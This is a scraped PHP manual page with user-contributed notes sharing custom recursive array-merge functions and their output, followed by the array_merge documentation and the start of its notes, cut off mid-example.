A small improvement upon the previously posted array_merge_recursive_distinct functions (based on daniel's version). This implementation preserves the parameter input from the original, you can pass an infinite amount of array's to merge.

<?php
function &array_merge_recursive_distinct()
{
    $aArrays = func_get_args();
    $aMerged = $aArrays[0];

    for($i = 1; $i < count($aArrays); $i++)
    {
        if (is_array($aArrays[$i]))
        {
            foreach ($aArrays[$i] as $key => $val)
            {
                if (is_array($aArrays[$i][$key]))
                {
                    $aMerged[$key] = is_array($aMerged[$key]) ? PR::array_merge_recursive_distinct($aMerged[$key], $aArrays[$i][$key]) : $aArrays[$i][$key];
                }
                else
                {
                    $aMerged[$key] = $val;
                }
            }
        }
    }

    return $aMerged;
}
?>
daniel at danielsmedegaardbuus dot dk 19-Mar-2009 02:18
<?php
/**
 * array_merge_recursive does indeed merge arrays, but it converts values with duplicate
 * keys to arrays rather than overwriting the value in the first array with the duplicate
 * value in the second array, as array_merge does. I.e., with array_merge_recursive,
 * this happens (documented behavior):
 *
 * array_merge_recursive(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('org value', 'new value'));
 *
 * array_merge_recursive_distinct does not change the datatypes of the values in the arrays.
 * Matching keys' values in the second array overwrite those in the first array, as is the
 * case with array_merge, i.e.:
 *
 * array_merge_recursive_distinct(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('new value'));
 *
 * Parameters are passed by reference, though only for performance reasons. They're not
 * altered by this function.
 *
 * @param array $array1
 * @param mixed $array2
 * @return array
 * @author daniel@danielsmedegaardbuus.dk
 */
function &array_merge_recursive_distinct(array &$array1, &$array2 = null)
{
  $merged = $array1;

  if (is_array($array2))
    foreach ($array2 as $key => $val)
      if (is_array($array2[$key]))
        $merged[$key] = is_array($merged[$key]) ? array_merge_recursive_distinct($merged[$key], $array2[$key]) : $array2[$key];
      else
        $merged[$key] = $val;

  return $merged;
}
?>
n dot kaiser at online-congress dot com 05-Mar-2009 11:24
Here ist my array recursive merge function
/**
* merge a array recursive
*
* @param array   $array1: original array
* @param array   $array2: the array to insert
* @return array  the merged array
*/
public function recursiveArrayMerge($array1, $array2){
    reset ($array2);
    while(key($array2)!==null) {
        if (is_array(current($array2)) && isset($array1[key($array2)])) {
            $array1[key($array2)] = $this->recursiveArrayMerge($array1[key($array2)],current($array2));
        } else {
            $array1[key($array2)] = current($array2);
        }
        next($array2);
    }
    return $array1;
}
miniscalope at gmail dot com 04-Feb-2009 03:56
I would merge 2 arrays but keep the values unique in the result array.
I hope this will help...
<?php

function array_merge_recursive_unique($array1, $array2) {

    foreach($array2 AS $k => $v) {
        if(!isset($array1[$k]))
        {
            $array1[$k] = $v;
        }
        else
        {
            if(!is_array($v)){
                if(is_array($array1[$k]))
                {
                    if(!in_array($v,$array1[$k]))
                    {
                        $array1[$k][] = $v;
                    }
                }
                else
                {
                    if($array1[$k] != $v)
                        $array1[$k] = array($array1[$k], $v);
                 }
            }
            else
            {
                $array1[$k] =    array_merge_recursive_unique($array1,$array2[$k]);
            }

        }

    }
      unset($k, $v);
      return $array1;
}

?>
remy dot damour at -please-no-spam-laposte dot net 21-Jan-2009 06:28
If what you want is merge all values of your array that are arrays themselves to get a resulting array of depth one, then you're more looking for array_flatten function.

Unfortunately I did not find such native function in php, here is the one I wrote:

<?php
/**
 * Flatten an array so that resulting array is of depth 1.
 * If any value is an array itself, it is merged by parent array, and so on.
 *
 * @param array $array
 * @param bool $preserver_keys OPTIONAL When true, keys are preserved when mergin nested arrays (=> values with same key get overwritten)
 * @return array
 */
function array_flatten($array, $preserve_keys = false)
{
    if (!$preserve_keys) {
        // ensure keys are numeric values to avoid overwritting when array_merge gets called
        $array = array_values($array);
    }

    $flattened_array = array();
    foreach ($array as $k => $v) {
        if (is_array($v)) {
            $flattened_array = array_merge($flattened_array, call_user_func(__FUNCTION__, $v, $preserve_keys));
        } elseif ($preserve_keys) {
            $flattened_array[$k] = $v;
        } else {
            $flattened_array[] = $v;
        }
    }
    return $flattened_array;
}

// example
$a = array ('k1' => 'a', 'k2' => array('k1' => 'b', 'k4' => array('k3' => 'c')));
var_export(array_flatten($a)); // output: array(0 => 'a', 1 => 'b', 2 => 'c')
var_export(array_flatten($a, true)); // output: array('k1' => 'b', 'k3' => 'c') // first 'k1' value gets overwritten by nested 'k1' value
?>
phil dot kemmeter at gmail dot com 08-Dec-2008 10:45
I've edit this version even a little bit more, so that the function does not override any values, but inserts them at a free key in the array:

function my_array_merge ($arr,$ins) {
    if(is_array($arr))
    {
        if(is_array($ins)) foreach($ins as $k=>$v)
        {
            if(isset($arr[$k])&&is_array($v)&&is_array($arr[$k]))
            {
                $arr[$k] = my_array_merge($arr[$k],$v);
            }
            else {
                // This is the new loop :)
                while (isset($arr[$k]))
                    $k++;
                $arr[$k] = $v;
            }
        }
    }
    elseif(!is_array($arr)&&(strlen($arr)==0||$arr==0))
    {
        $arr=$ins;
    }
    return($arr);
}

Example:

$array1 = array(
    100 => array(30),
    200 => array(20, 30)
);

$array2 = array(
    100 => array(40),
    201 => array(60, 30)
);

print_r(my_array_merge($array1,$array2));

Output with array_merge_recursive:
Array
(
    [0] => Array
        (
            [0] => 30
        )

    [1] => Array
        (
            [0] => 20
            [1] => 30
        )

    [2] => Array
        (
            [0] => 40
        )

)
This is not the result, I expect from a MERGE-Routine...

Output with the current function:

Array
(
    [100] => Array
        (
            [0] => 30
            [1] => 40
        )

    [200] => Array
        (
            [0] => 20
            [1] => 30
        )

)

This is what I want :)
scott dot clark at vizioninteractive dot com 28-Aug-2008 01:55
Needed some way to fuse two arrays together and found a function here (below from thomas) and decided to update it even further to be a little more smart.

<?php
function my_array_merge ($arr,$ins)
    {
        if(is_array($arr))
            {
                if(is_array($ins)) foreach($ins as $k=>$v)
                    {
                        if(isset($arr[$k])&&is_array($v)&&is_array($arr[$k]))
                            {
                                $arr[$k] = my_array_merge($arr[$k],$v);
                            }
                        else $arr[$k] = $v;
                    }
            }
        elseif(!is_array($arr)&&(strlen($arr)==0||$arr==0))
            {
                $arr=$ins;
            }
        return($arr);
    }
?>
thomas at n-o-s-p-a-m dot thoftware dot de 04-May-2008 06:50
This is a simple, three line approach.

Short description: If one of the Arguments isn't an Array, first Argument is returned. If an Element is an Array in both Arrays, Arrays are merged recursively, otherwise the element in $ins will overwrite the element in $arr (regardless if key is numeric or not). This also applys to Arrays in $arr, if the Element is scalar in $ins (in difference to the previous approach).

  function array_insert($arr,$ins) {
    # Loop through all Elements in $ins:
    if (is_array($arr) && is_array($ins)) foreach ($ins as $k => $v) {
      # Key exists in $arr and both Elemente are Arrays: Merge recursively.
      if (isset($arr[$k]) && is_array($v) && is_array($arr[$k])) $arr[$k] = array_insert($arr[$k],$v);
      # Place more Conditions here (see below)
      # ...
      # Otherwise replace Element in $arr with Element in $ins:
      else $arr[$k] = $v;
    }
    # Return merged Arrays:
    return($arr);
  }

In Addition to felix dot ospald at gmx dot de in my opinion there is no need to compare keys with type-casting, as a key always is changed into an integer if it could be an integer. Just try

$a = array('1'=>'1');
echo gettype(key($a));

It will echo 'integer'. So for having Integer-Keys simply appended instead of replaced, add the Line:

  elseif (is_int($k)) $arr[] = $v;

A Condition I used is:

  elseif (is_null($v)) unset($arr[$k]);

So a NULL-Value in $ins will unset the correspondig Element in $arr (which is different to setting it to NULL!). This may be another Addition to felix dot ospald at gmx dot de: The absolute correct way to check for a Key existing in an Array is using array_key_exists() (not needed in the current context, as isset() is combined with is_array()). array_key_exists() will return TRUE even if the Value of the Element is NULL.

And the last one: If you want to use this approach for more than 2 Arrays, simply use this:

  function array_insert_mult($arr) {
    # More than 1 Argument: Append all Arguments.
    if (func_num_args() > 1) foreach (array_slice(func_get_args(),1) as $ins) $arr = array_insert($arr,$ins);
    # Return merged Arrays:
    return($arr);
  }

And if you worry about maintaining References: Simply use $ins[$k] instead of $v when assigning a Value/using a Value as Argument.
felix dot ospald at gmx dot de 26-Feb-2008 11:23
If you desire correct and performant behaviour (in contrast to the other postings) use this code. It works as documented above.
If you want that keys are always perserved and not appended or renumbered if they are numeric comment out the "if (((string) $key) === ((string) intval($key)))" case.
@spambegone at cratemedia dot com: using empty is not right way to check if an item is in the array use isset!

<?php

function array_merge_recursive2($array1, $array2)
{
    $arrays = func_get_args();
    $narrays = count($arrays);

    // check arguments
    // comment out if more performance is necessary (in this case the foreach loop will trigger a warning if the argument is not an array)
    for ($i = 0; $i < $narrays; $i ++) {
        if (!is_array($arrays[$i])) {
            // also array_merge_recursive returns nothing in this case
            trigger_error('Argument #' . ($i+1) . ' is not an array - trying to merge array with scalar! Returning null!', E_USER_WARNING);
            return;
        }
    }

    // the first array is in the output set in every case
    $ret = $arrays[0];

    // merege $ret with the remaining arrays
    for ($i = 1; $i < $narrays; $i ++) {
        foreach ($arrays[$i] as $key => $value) {
            if (((string) $key) === ((string) intval($key))) { // integer or string as integer key - append
                $ret[] = $value;
            }
            else { // string key - megre
                if (is_array($value) && isset($ret[$key])) {
                    // if $ret[$key] is not an array you try to merge an scalar value with an array - the result is not defined (incompatible arrays)
                    // in this case the call will trigger an E_USER_WARNING and the $ret[$key] will be null.
                    $ret[$key] = array_merge_recursive2($ret[$key], $value);
                }
                else {
                    $ret[$key] = $value;
                }
            }
        }
    }

    return $ret;
}

// Examples:

print_r(array_merge_recursive2(array('A','B','C' => array(1,2,3)), array('D','C' => array(1,4))));
/*
Array
(
    [0] => A
    [1] => B
    [C] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 1
            [4] => 4
        )
    [2] => D
)*/

print_r(array_merge_recursive2(array('A','B','0' => array(1,2,3)), array('D','0' => array(1,array(4)))));
/*
Array
(
    [0] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )
    [1] => B
    [2] => Array
        (
            [0] => 1
            [1] => Array
                (
                    [0] => 4
                )
        )
)*/

print_r(array_merge_recursive2(array('A' => array('A' => 1)), array('A' => array('A' => array(2)))));
/*
Warning: Argument #1 is not an array - trying to merge array with scalar! Returning null! in ... on line ...
*/

var_dump(array_merge_recursive2(array('A' => array('A' => 2)), array('A' => array('A' => null))));
/*
array(1) { ["A"]=>  array(1) { ["A"]=>  NULL } }
*/

?>
spambegone at cratemedia dot com 12-Feb-2008 02:06
I've tried these array_merge_recursive functions without much success. Maybe it's just me but they don't seem to actually go more than one level deep? As with all things, its usually easier to write your own, which I did and it seems to work just the way I wanted. Anyways, my function hasn't been tested extensively, but it's a simple function, so in hopes that this might be useful to someone else I'm sharing.

Also, the PHP function array_merge_recursive() didn't work for my purposes because it didn't overwrite the values like I needed it to. You know how it works, it just turns it into an array with multiple values... not helpful if your code is expecting one string.

function array_merge_recursive_unique($array1, $array2) {

    // STRATEGY
    /*
    Merge array1 and array2, overwriting 1st array values with 2nd array
    values where they overlap. Use array1 as the base array and then add
    in values from array2 as they exist.

    Walk through each value in array2 and see if a value corresponds
    in array1. If it does, overwrite with second array value. If it's an
    array, recursively execute this function and return the value. If it's
    a string, overwrite the value from array1 with the value from array2.

    If a value exists in array2 that is not found in array1, add it to array1.
    */

    // LOOP THROUGH $array2
    foreach($array2 AS $k => $v) {

        // CHECK IF VALUE EXISTS IN $array1
        if(!empty($array1[$k])) {
            // IF VALUE EXISTS CHECK IF IT'S AN ARRAY OR A STRING
            if(!is_array($array2[$k])) {
                // OVERWRITE IF IT'S A STRING
                $array1[$k]=$array2[$k];
            } else {
                // RECURSE IF IT'S AN ARRAY
                $array1[$k] = array_merge_recursive_unique($array1[$k], $array2[$k]);
            }
        } else {
            // IF VALUE DOESN'T EXIST IN $array1 USE $array2 VALUE
            $array1[$k]=$v;
        }
    }
    unset($k, $v);

    return $array1;
}
paha at paha dot hu 12-Mar-2007 12:02
In this version the values are overwritten only if they are not an array.  If the value is an array, its elements will be merged/overwritten:

// array_merge_recursive which override value with next value.
// based on: http://www.php.net/manual/hu/function.array-merge-recursive.php 09-Dec-2006 03:38
function array_merge_recursive_unique($array0, $array1)
{
    $arrays = func_get_args();
    $remains = $arrays;

    // We walk through each arrays and put value in the results (without
    // considering previous value).
    $result = array();

    // loop available array
    foreach($arrays as $array) {

        // The first remaining array is $array. We are processing it. So
        // we remove it from remaing arrays.
        array_shift($remains);

        // We don't care non array param, like array_merge since PHP 5.0.
        if(is_array($array)) {
            // Loop values
            foreach($array as $key => $value) {
                if(is_array($value)) {
                    // we gather all remaining arrays that have such key available
                    $args = array();
                    foreach($remains as $remain) {
                        if(array_key_exists($key, $remain)) {
                            array_push($args, $remain[$key]);
                        }
                    }

                    if(count($args) > 2) {
                        // put the recursion
                        $result[$key] = call_user_func_array(__FUNCTION__, $args);
                    } else {
                        foreach($value as $vkey => $vval) {
                            $result[$key][$vkey] = $vval;
                        }
                    }
                } else {
                    // simply put the value
                    $result[$key] = $value;
                }
            }
        }
    }
    return $result;
}
bersace03 at laposte dot net 09-Dec-2006 03:38
Hi all,

Here is a function array_merge_recursive_unique which override values, but walk recursivly arrays and works for unlimited number of arrays. (i posted a previous version which had a bug in recursion).

<?php
// array_merge_recursive which override value with next value.
function array_merge_recursive_unique ($array0, $array1)
{
  $arrays = func_get_args ();
  $remains = $arrays;

  // We walk through each arrays and put value in the results (without
  // considering previous value).
  $result = array ();

  // loop available array
  foreach ($arrays as $array) {

    // The first remaining array is $array. We are processing it. So
    // we remove it from remaing arrays.
    array_shift ($remains);

    // We don't care non array param, like array_merge since PHP 5.0.
    if (is_array ($array)) {
      // Loop values
      foreach ($array as $key => $value) {
    if (is_array ($value)) {

      // we gather all remaining arrays that have such key available
      $args = array ();
      foreach ($remains as $remain) {
        if (array_key_exists ($key, $remain)) {
          array_push ($args, $remain[$key]);
        }
      }
      if (count ($args) > 2) {
        // put the recursion
        $result[$key] = call_user_func_array (__FUNCTION__, $args);
      }
      else {
        $result[$key] = $value;
      }
    }
    else {

      // simply put the value
      $result[$key] = $value;
    }
      }
    }
  }

  return $result;
}

?>

Enjoy :D
randallgirard at hotmail dot com 26-Nov-2006 01:18
I wrote the following for merging arrays, in my project mainly for configuration... Thought someone else might find it usefull.

function array_merge_recursive_keys( $first, $second, $greedy=false) {
   $inter = array_intersect_assoc(array_keys($first), array_keys($second)); # shaired keys
# the idea next, is to strip and append from $second into $first
   foreach ( $inter as $key ) {
   # recursion if both are arrays
      if ( is_array($first[$key]) && is_array($second[$key]) ) {
         $first[$key] = array_merge_recursive_keys($first[$key], $second[$key]);
      }
   # non-greedy array merging:
      else if ( is_array($first[$key] && !$greedy ) ) {
         $first[$key][] = $second[$key];
      }
      else if ( is_array($second[$key]) && !$greedy ) {
         $second[$key][] = $first[$key];
         $first[$key] = $second[$key];
      }
   # overwrite...
      else {
         $first[$key] = $second[$key];
      }
      unset($second[$key]);
   }
# merge the unmatching keys onto first
   return array_merge($first, $second);
}
thiago dot mata at yahoo dot com dot br 30-Sep-2006 12:25
<?php
    function array_merge_recursive_keep_keys( $arrElement1 , $arrElement2 , $intCount = 0 )
    {

        $arrNew = array();

        $arrElement1Keys = array_keys( $arrElement1 );
        $arrElement2Keys = array_keys( $arrElement2 );

        $arrDifKeys1 = array_diff( $arrElement1Keys, $arrElement2Keys );
        $arrDifKeys2 = array_diff( $arrElement2Keys, $arrElement1Keys );
        $arrInter     = array_intersect( $arrElement1Keys , $arrElement2Keys );

        foreach( $arrDifKeys1 as $strKey1)
        {
            $arrNew[ $strKey1 ] = $arrElement1[ $strKey1 ];
        }
        foreach( $arrDifKeys2 as $strKey2)
        {
            $arrNew[ $strKey2 ] = $arrElement2[ $strKey2 ];
        }
        foreach( $arrInter as $strInterKey )
        {
            if( is_array( $arrElement1[ $strInterKey ] ) && is_array( $arrElement2[ $strInterKey ] ) )
            {
                $intCount++;
                $arrNew[ $strInterKey ] = array_merge_recursive_keep_keys( $arrElement1[ $strInterKey ] , $arrElement2[ $strInterKey ] , $intCount );
            }
            elseif( is_array( $arrElement1[ $strInterKey ] ) || is_array( $arrElement2[ $strInterKey ] ) )
            {
                $arrNew[ $strInterKey ][]    =  $arrElement1[ $strInterKey ];
                $arrNew[ $strInterKey ][]    =  $arrElement2[ $strInterKey ];
            }
            else
            {
                $arrNew[ $strInterKey ] = array();
                $arrNew[ $strInterKey ][] = $arrElement1[ $strInterKey ];
                $arrNew[ $strInterKey ][] = $arrElement2[ $strInterKey ];
            }
        }
        return $arrNew;
    }
?>
smilingrasta 07-Jul-2006 10:04
This function tends to reindex arrays, which is not  mentioned in the function description.

I just tried to run that function on a three dimensional array, containing errormessages.
The first dim. contains the severity of the error ('warn', 'crit') the second dim the linenumber (numerical) and the third one consists of errormessages

<?php
# Array printout:
Array
 (
   [warn] => Array  // severity (associative)
    (
      [2] => Array  // linenumber (numerical)
       (
         [0] => "Category does not exist"
         [1] => "Manufacturer does not exist"
       )
    )
 )

?>

If i now merge two or more of those arrays using array_merge_recursive(), the linenumbers are not conserved. Instead of, they are all renumbered, starting with 0.

Just thought anyone may want to know about that. :)
regards, smilingrasta
Vladimir Kornea 11-May-2006 07:10
The documentation for array_merge_recursive() states that string keys are preserved while numeric keys are renumbered. What's not obvious is that string keys which happen to be numeric are NOT preserved, but renumbered:

$a = array('5' => array('blue'));
$b = array('5' => array('red'));
$c = array_merge_recursive($a, $b);
print_r($c);

Output:

Array
(
    [0] => Array
        (
            [0] => blue
        )

    [1] => Array
        (
            [0] => red
        )

)

If the key '5' were treated as a string, the resulting array would be this:

Array
(
    [5] => Array
        (
            [0] => blue
            [1] => red
        )
)
jason at ebasterpro dot com 19-Aug-2005 09:56
This modifications allows you to merge arrays of objects and objects of arrays recursively.
/**
 * arrayobj_merge_recursive2()
 *
 * Similar to array_merge_recursive2 but supports objects and arrays, keyed-valued are always overwritten.
 * Priority goes to the 2nd array. And support Object Array mixture
 *
 * @static yes
 * @public yes
 * @param $paArray1 array/object
 * @param $paArray2 array/object
 * @return array/object
 */
function arrayobj_merge_recursive2($paArray1, $paArray2)
{
    if(is_array($paArray2))
    {
        foreach ($paArray2 AS $sKey2 => $sValue2)
        {
            $paArray1[$sKey2] = arrayobj_merge_recursive2(@$paArray1[$sKey2], $sValue2);
        }
    }
    elseif(is_object($paArray2))
    {
        foreach ($paArray2 AS $sKey2 => $sValue2)
        {
             $paArray1->{$sKey2} = arrayobj_merge_recursive2(@$paArray1->{$sKey2}, $sValue2);
        }
    } else {
         return $paArray2;
    }
   return $paArray1;
}
fire at firepages dot com dot au 20-Dec-2004 07:10
PHP5 note , in PHP4 you could pass an uninitialised array to array_merge_recursive which would issue a notice but not break anything ..

while( $whatever){
 $uninitialised_array = array_merge_recursive( $uninitialised_array, $t ) ;
}

in PHP5 , if you dont initialise the array the recursion never starts so $uninitialised_array = array(); solves (good practive anyway I suppose?)
manicdepressive at mindless dot com 22-Jun-2004 07:30
Please be aware that under circumstances where you have
both the key and value common between the two arrays at a given node,
array_merge_recursive() will behave differently if that value is NULL,
as opposed to a non-null value.

i.e., I expected the results of the first two sections below to
have the same structure, but they don't.
If this might apply to you, please see for yourself.

<pre><?php

$a1 = array('a'=>'b');
$a2 = array('a'=>'b');
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

$a1 = array('a'=>NULL);
$a2 = array('a'=>NULL);
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

$a1 = array('a'=>'b');
$a2 = array('a'=>NULL);
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

?></pre>

This behavior also occurs if the value is the empty array.
In fact, in the above example, interchanging the empty array with
any and all occurences of NULL will yield the same result.

    code till dawn!  -mark
brian at vermonster dot com 25-May-2004 02:44
Here is a fairly simple function that replaces while recursing.

<?php
/**
 * array_merge_recursive2()
 *
 * Similar to array_merge_recursive but keyed-valued are always overwritten.
 * Priority goes to the 2nd array.
 *
 * @static yes
 * @public yes
 * @param $paArray1 array
 * @param $paArray2 array
 * @return array
 */
function array_merge_recursive2($paArray1, $paArray2)
{
    if (!is_array($paArray1) or !is_array($paArray2)) { return $paArray2; }
    foreach ($paArray2 AS $sKey2 => $sValue2)
    {
        $paArray1[$sKey2] = array_merge_recursive2(@$paArray1[$sKey2], $sValue2);
    }
    return $paArray1;
}

?>

Examples:
<?php

$array1 = array(
    'liquids' => array(
        'water' => array('cold', 'fizzy', 'clean')
        ,'beer' => 'warm'
    )
);

$array2 = array(
    'liquids' => array(
        'water' => 'hot'
        ,'milk' => 'wet'
    )
);

$result1 = array_merge_recursive2($array1, $array2);
$result2 = array_merge_recursive2($array2, $array1);
?>

Result 1 is:
Array
(
    [liquids] => Array
        (
            [water] => hot
            [beer] => warm
            [milk] => wet
        )
)

Result 2 is:
Array
(
    [liquids] => Array
        (
            [water] => Array
                (
                    [0] => cold
                    [1] => fizzy
                    [2] => clean
                )

            [milk] => wet
            [beer] => warm
        )
)
paska at kios dot sk 04-Mar-2004 02:18
This emulates replace of $_REQUEST according to variable_order=GPC.
<?
    function array_merge_replace($array, $newValues) {
        foreach ($newValues as $key => $value ) {
            if (is_array($value)) {
                if (!isset($array[$key])) {
                    $array[$key] = array();
                }
                $array[$key] = array_merge_replace($array[$key], $value);
            } else {
                $array[$key] = $value;
            }
        }
        return $array;
    }

    $_REQUEST = array_merge_replace($_REQUEST, $_GET);
    $_REQUEST = array_merge_replace($_REQUEST, $_POST);
    $_REQUEST = array_merge_replace($_REQUEST, $_COOKIE);
?>

Useful with stripping backslashes at beginning of main include file:
<?
if (get_magic_quotes_gpc() == 1) {

    function stripMagicSlashes($element) {
        if (is_array($element)) {
            return array_map("stripMagicSlashes", $element);
        } else {
            return stripslashes($element);
        }
    }

    function array_merge_replace($array, $newValues) {
        foreach ($newValues as $key => $value ) {
            if (is_array($value)) {
                if (!isset($array[$key])) {
                    $array[$key] = array();
                }
                $array[$key] = array_merge_replace($array[$key], $value);
            } else {
                $array[$key] = $value;
            }
        }
        return $array;
    }

    $_GET    = array_map("stripMagicSlashes", $_GET);
    $_POST   = array_map("stripMagicSlashes", $_POST);
    $_COOKIE = array_map("stripMagicSlashes", $_COOKIE);

    $_REQUEST = array_merge_replace($_REQUEST, $_GET);
    $_REQUEST = array_merge_replace($_REQUEST, $_POST);
    $_REQUEST = array_merge_replace($_REQUEST, $_COOKIE);

}

$GLOBALS['stripped'] = true;
?>

Based on examples from users from this site.
t dot tom at succont dot de 08-Jan-2004 08:09
Here my modification of shemari's Code for Replacing Values in an Array. My modification will return the new Array, not handle it by reference.
Original Array will not be touched.

Hope it helps anyone. Most thanks goes to shemari ;o)

<?php
   /**
     * Merges two arrays and replace existing Entrys
     *
     * Merges two Array like the PHP Function array_merge_recursive.
     * The main difference is that existing Keys will be replaced with new Values,
     * not combined in a new Sub Array.
     *
     * Usage:
     *         $newArray = array_merge_replace( $array, $newValues );
     *
     * @access puplic
     * @author Tobias Tom <t.tom@succont.de>
     * @param array $array First Array with 'replaceable' Values
     * @param array $newValues Array which will be merged into first one
     * @return array Resulting Array from replacing Process
     */
function array_merge_replace( $array, $newValues ) {
    foreach ( $newValues as $key => $value ) {
        if ( is_array( $value ) ) {
               if ( !isset( $array[ $key ] ) ) {
                $array[ $key ] = array();
            }
            $array[ $key ] = $this->array_merge_replace( $array[ $key ], $value );
        } else {
            if ( isset( $array[ $key ] ) && is_array( $array[ $key ] ) ) {
                $array[ $key ][ 0 ] = $value;
            } else {
                if ( isset( $array ) && !is_array( $array ) ) {
                    $temp = $array;
                    $array = array();
                    $array[0] = $temp;
                }
                $array[ $key ] = $value;
            }
        }
    }
    return $array;
}
?>
shemari75 at mixmail dot com 18-Dec-2003 09:22
Here's a function to recursively merge any number of any-dimensional arrays.
It actually works in quite a similar way as array_merge_recursive does, but with two major differences:
- Later elements overwrite previous ones having the same keys.
- Numeric keys are not appended. Instead, they are converted into associative ones, and therefore overwritten as stated above.

Usage:
    array array_merge_n(array array1, array array2[, array ...])

<?php
    /**
     *  Merges two arrays of any dimension
     *
     *  This is the process' core!
     *  Here each array is merged with the current resulting one
     *
     *  @access private
     *  @author Chema Barcala Calveiro <shemari75@mixmail.com>
     *  @param array $array   Resulting array - passed by reference
     *  @param array $array_i Array to be merged - passed by reference
     */

    function array_merge_2(&$array, &$array_i) {
        // For each element of the array (key => value):
        foreach ($array_i as $k => $v) {
            // If the value itself is an array, the process repeats recursively:
            if (is_array($v)) {
                if (!isset($array[$k])) {
                    $array[$k] = array();
                }
                array_merge_2($array[$k], $v);

            // Else, the value is assigned to the current element of the resulting array:
            } else {
                if (isset($array[$k]) && is_array($array[$k])) {
                    $array[$k][0] = $v;
                } else {
                    if (isset($array) && !is_array($array)) {
                        $temp = $array;
                        $array = array();
                        $array[0] = $temp;
                    }
                    $array[$k] = $v;
                }
            }
        }
    }

    /**
     *  Merges any number of arrays of any dimension
     *
     *  The arrays to be merged are passed as arguments to the function,
     *  which uses an external function (array_merge_2) to merge each of them
     *  with the resulting one as it's being constructed
     *
     *  @access public
     *  @author Chema Barcala Calveiro <shemari75@mixmail.com>
     *  @return array Resulting array, once all have been merged
     */

    function array_merge_n() {
        // Initialization of the resulting array:
        $array = array();

        // Arrays to be merged (function's arguments):
        $arrays =& func_get_args();

        // Merging of each array with the resulting one:
        foreach ($arrays as $array_i) {
            if (is_array($array_i)) {
                array_merge_2($array, $array_i);
            }
        }

        return $array;
    }
?>
array_map
array_merge
Array Functions


Merge one or more arrays

array_merge_recursive
array_multisort
Array Functions
PHP Manual

array_merge

(PHP 4, PHP 5)

array_merge — Merge one or more arrays

Description

array array_merge ( array $array1 [, array $... ] )

Merges the elements of one or more arrays together so that the values of one are appended to the end of the previous one. It returns the resulting array.

If the input arrays have the same string keys, then the later value for that key will overwrite the previous one. If, however, the arrays contain numeric keys, the later value will not overwrite the original value, but will be appended.

Values in the input array with numeric keys will be renumbered with incrementing keys starting from zero in the result array.

Parameters

array1

Initial array to merge.

...

Variable list of arrays to merge.

Return Values

Returns the resulting array.

Changelog

Version Description
5.0.0
Warning

The behavior of array_merge() was modified in PHP 5. Unlike PHP 4, array_merge() now only accepts parameters of type array. However, you can use typecasting to merge other types. See the example below for details.

Example #1 array_merge() PHP 5 example

<?php
$beginning = 'foo';
$end = array(1 => 'bar');
$result = array_merge((array)$beginning, (array)$end);
print_r($result);
?>

The above example will output:

    Array
    (
        [0] => foo
        [1] => bar
    )

Examples

Example #2 array_merge() example

<?php
$array1 = array("color" => "red", 2, 4);
$array2 = array("a", "b", "color" => "green", "shape" => "trapezoid", 4);
$result = array_merge($array1, $array2);
print_r($result);
?>

The above example will output:

Array
(
    [color] => green
    [0] => 2
    [1] => 4
    [2] => a
    [3] => b
    [shape] => trapezoid
    [4] => 4
)

Example #3 Simple array_merge() example

<?php
$array1 = array();
$array2 = array(1 => "data");
$result = array_merge($array1, $array2);
?>

Don't forget that numeric keys will be renumbered!

Array
(
    [0] => data
)

If you want to append array elements from the second array to the first array while not overwriting the elements from the first array and not re-indexing, use the + array union operator:

<?php
$array1 = array(0 => 'zero_a', 2 => 'two_a', 3 => 'three_a');
$array2 = array(1 => 'one_b', 3 => 'three_b', 4 => 'four_b');
$result = $array1 + $array2;
var_dump($result);
?>

The keys from the first array will be preserved. If an array key exists in both arrays, then the element from the first array will be used and the matching key's element from the second array will be ignored.

array(5) {
  [0]=>
  string(6) "zero_a"
  [2]=>
  string(5) "two_a"
  [3]=>
  string(7) "three_a"
  [1]=>
  string(5) "one_b"
  [4]=>
  string(6) "four_b"
}

See Also

  • array_merge_recursive() - Merge two or more arrays recursively
  • array_combine() - Creates an array by using one array for keys and another for its values
  • array operators

User Contributed Notes

ventzy dot public at gmail dot com 07-Dec-2011 09:03
On line to merge arrays WITHOUT REINDEXING numerical keys and WITH OVERWRITING:

$result = array_diff_key($a, $b) + $b

<?php
// example

$array1 = array(0 => 'zero_a', 2 => 'two_a', 3 => 'three_a');
$array2 = array(1 => 'one_b', 3 => 'three_b', 4 => 'four_b');

$result = array_diff_key($array1, $array2) + $array2;

//$result = array(
//  0 => 'zero_a'
//  2 => 'two_a'
//  1 => 'one_b'
//  3 => 'three_b'
//  4 => 'four_b')
?>
njp AT o2 DOT pl 22-Nov-2011 04:45
Uniques values merge for array_merge function:

<?php
function array_unique_merge() {

        $variables = '$_'.implode(',$_',array_keys(func_get_args()));

        $func = create_function('$tab', ' list('.$variables.') = $tab; return array_unique(array_merge('.$variables.'));');

        return $func(func_get_args());
    }
?>

Doesn't work on objects.

Smarter way for uniques values merge array:

<?php
function array_unique_merge() {

       return array_unique(call_user_func_array('array_merge', func_get_args()));
   }
?>

Example 1:

$a = array(1,2);
$b = array(2,3,4);

array_unique_merge($a,$b);

Return:
array(1,2,3,4);

Example 2:

$a = array(1,2);
$b = array(2,3,4);
$c = array(2,3,4,5);

array_unique_merge($a,$b);

Return:
array(1,2,3,4,5);

Doesn't work on objects.
w_barath at hotmail dot com 04-Oct-2011 04:42
I keep seeing posts for people looking for a function to replace numeric keys.

No function is required for this, it is default behavior if the + operator:

<?php
$a=array(1=>"one", "two"=>2);
$b=array(1=>"two", "two"=>1, 3=>"three", "four"=>4);

print_r($a+$b);
?>

Array
(
    [1] => one
    [two] => 2
    [3] => three
    [four] => 4
)

How this works:

The + operator only adds unique keys to the resulting array.  By making the replacements the first argument, they naturally always replace the keys from the second argument, numeric or not! =)
Krinkle 28-Sep-2011 03:01
I always confuse which does what and when. So I made this cheatsheet that you may find useful.

The existing examples show some situations but not all of these four.

<?php
$n1 = array('foo', 'bar', 'baz');
$n2 = array('lorem', 'ipsum', 'foo');

// array plus:
// - duplicate numeral keys are ignored, not overwriting
// - new keys inserted at the end
$n1 + $n2;
?>
array(3) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(3) "baz"
}

<?php
// array_merge:
